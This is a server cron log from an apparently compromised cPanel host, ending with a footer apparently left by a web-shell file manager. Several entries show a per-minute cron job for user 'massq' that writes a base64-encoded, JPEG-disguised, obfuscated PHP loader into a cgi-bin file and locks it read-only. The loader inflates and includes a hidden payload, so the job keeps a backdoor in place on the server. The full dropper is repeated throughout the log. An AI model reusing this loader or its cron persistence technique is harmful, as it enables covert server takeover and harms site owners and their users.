QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 04:15:01 server CROND[15550]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 04:15:01 server CROND[15551]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 04:16:01 server CROND[16419]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 04:16:01 server CROND[16420]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 04:16:01 server CROND[16421]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 04:17:01 server CROND[16787]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 04:17:01 server CROND[16788]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 04:17:01 server CROND[16790]: (root) CMD (   /usr/libexec/report-command-error /opt/imunify360/venv/share/imunify360/scripts/update_components_versions.py > /dev/null 2>&1)
Sep 13 04:17:01 server CROND[16789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 04:18:01 server CROND[17263]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 04:18:01 server CROND[17264]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 04:18:01 server CROND[17265]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 04:19:01 server CROND[17658]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 04:19:01 server CROND[17660]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 04:19:01 server CROND[17659]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 04:20:01 server CROND[18182]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 13 04:20:01 server CROND[18189]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 13 04:20:01 server CROND[18201]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 13 04:20:01 server CROND[18212]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 04:20:01 server CROND[18216]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 13 04:20:01 server CROND[18215]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 04:20:01 server CROND[18214]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 13 04:20:01 server CROND[18213]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 13 04:20:01 server CROND[18211]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 04:21:01 server CROND[19040]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 13 04:21:01 server CROND[19041]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 13 04:21:01 server CROND[19039]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 13 04:21:23 server run-parts(/etc/cron.daily)[19220]: finished imunify-antivirus.cron
Sep 13 04:21:23 server run-parts(/etc/cron.daily)[1850]: starting logclean
Sep 13 04:21:23 server run-parts(/etc/cron.daily)[19232]: finished logclean
Sep 13 04:21:23 server run-parts(/etc/cron.daily)[1850]: starting logrotate

Youez - 2016 - github.com/yon3zu
LinuXploit